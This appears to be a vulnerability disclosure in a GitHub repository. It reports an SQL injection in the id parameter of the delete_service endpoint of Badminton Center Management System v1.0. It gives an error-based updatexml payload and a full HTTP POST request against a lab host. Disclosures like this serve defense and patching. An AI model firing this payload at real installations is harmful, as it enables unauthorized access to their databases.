

main

...

bug_report / vendors / oretnom23 / badminton-center-management-system / SQLi-7.md



debug601 Create SQLi-7.md

History

1 contributor

30 lines (22 sloc) | 1.13 KB

...

Badminton Center Management System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15318/badminton-center-management-system-phpoop-free-source-code.html>

Vulnerability File: /bcms/classes/Master.php?f=delete_service

Vulnerability location: /bcms/classes/Master.php?f=delete_service, id

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /bcms/classes/Master.php?f=delete_service HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/bcms/admin/?page=services
Content-Length: 65
```

Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv

Connection: close

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

